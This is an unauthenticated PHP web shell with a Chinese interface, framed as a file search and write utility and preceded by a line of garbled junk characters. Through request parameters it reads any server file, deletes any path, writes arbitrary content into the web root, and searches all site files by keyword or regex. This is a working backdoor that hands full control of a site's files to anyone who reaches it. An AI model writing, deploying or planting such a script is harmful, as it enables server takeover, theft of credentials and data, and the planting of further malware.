Ele57885fddfg872782782782 hjkhj782dfgfghgقفغفغفقhfg555434536

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<?php
set_time_limit(0);
$wwwroot=$_SERVER['DOCUMENT_ROOT'];
$keyword=trim($_POST['keyword']);
$preg_exp=trim($_POST['keyword']);
$file_type=trim($_POST['file_type']);
$search_type=trim($_POST['search_type']);
$view_file=trim($_GET['view_file']);
$del_file=trim($_GET['del_file']);
$write_file=trim($_POST['write_file']);
$write_content=trim($_POST['write_content']);

if ( $keyword!='' )
{
    $keyword_arr=array();
    foreach(explode('|||',$keyword) as $keyword1)
    {
        $keyword1=trim($keyword1);
        if ($keyword1!='')
        {
            $keyword_arr[]=$keyword1;
        }
    }
    
    $find_count=0;
    
    $dir_arr=array();
    $j=0;
    $dir_arr[0][]=$wwwroot;
    while(!empty($dir_arr[$j]))
    {
        foreach($dir_arr[$j] as $parent_dir)
        {
            $child_dir_arr=glob($parent_dir."/*",GLOB_ONLYDIR); 
            foreach($child_dir_arr as $child_dir)
            {
                $dir_arr[$j+1][]=$child_dir;
            }
        }
        $j++;
    }
    
    foreach($dir_arr as $sub_dir_arr)
    {
        foreach($sub_dir_arr as $dir1)
        {
            $file_arr=glob($dir1.'/*.'.$file_type);
            foreach($file_arr as $file1)
            {
                if ($search_type=='normal')
                {
                    $match_count=0;
                    foreach($keyword_arr as $keyword1)
                    {
                        if ( strpos(file_get_contents($file1),$keyword1)===false )
                        {
                            break;
                        }else
                        {
                            $match_count++;
                        }
                    }
                    if ( $match_count==count($keyword_arr) )
                    {
                        echo $file1.' --> <a href="?view_file='.$file1.'" target="_blank">查看代码</a> | <a href="'.str_replace($wwwroot,'',$file1).'" target="_blank">访问URL</a><br>'."\r\n";
                        $find_count++;                        
                    }
                }
                if ($search_type=='preg')
                {
                    if ( preg_match($preg_exp,file_get_contents($file1),$matches) )
                    {
                        echo $file1.' --> <a href="?view_file='.$file1.'" target="_blank">查看代码</a> | <a href="'.str_replace($wwwroot,'',$file1).'" target="_blank">访问URL</a><br>'."\r\n";
                        echo '<font color="orange">'.$matches[0].'</font><br><br>'."\r\n";
                        $find_count++;                        
                    }
                } 
            }
        }
    }
    echo '<br><br>共找到 '.$find_count.' 个文件<br>'."\r\n";
}elseif( $view_file!='' )
{
    header("Content-type:text/plain");
    echo file_get_contents($view_file);
}elseif( $del_file!='' )
{
    @unlink($del_file);
    $message=is_file($del_file) ? '<font color="red">删除失败</font>' : '<font color="green">删除成功</font>';
    echo $del_file.' --> '.$message;
}elseif( $write_file!='' )
{
    $write_file=$wwwroot.$write_file;
    $write_md5=md5($write_content);
    if ( is_file($write_file) ) unlink($write_file);
    $write_dir=dirname($write_file);
    if (!is_dir($write_dir)) mkdir($write_dir,0755,true);
    file_put_contents($write_file,$write_content);
    if ( is_file($write_file) )
    {
        $read_md5=md5(file_get_contents($write_file));
        if ($write_md5==$read_md5)
        {
            echo $write_file.' <font color="green">写入成功！</font> --> <a href="?view_file='.$write_file.'" target="_blank">查看</a>';
        }else
        {
            echo $write_file.' <font color="red">写入失败！</font>';
        }
    }else
    {
        echo $write_file.' <font color="red">写入失败！</font>';
    }
}else
{
    echo '
    <h1>查找文件</h1>
    <form name="file_search" action="" method="post">
    在'.$wwwroot.'目录中遍历查找符合要求的所有文件：<br><br>
    关键词<input type="text" size="30" name="keyword">
    <select name="search_type">
        <option value="normal">普通字符串</option>
        <option value="preg">正则表达式</option>
    </select> (多个词用|||分割)
    <br><br>
    扩展名<input type="text" size="10" name="file_type" value="php"> <br><br>
    <input type="submit" name="submit" value="提交"> <br><br>
    </form>
    <hr>
    <h1>写入文件</h1>
    <form name="file_write" action="" method="post">
    写入文件路径：<br>'.$wwwroot.'<input type="text" size="50" name="write_file" value=""> <br><br>
    写入文件内容：<br><textarea rows="50" cols="200" name="write_content"></textarea> <br><br>
    <input type="submit" name="submit2" value="提交"> <br><br>
    </form>    
    ';
}
?>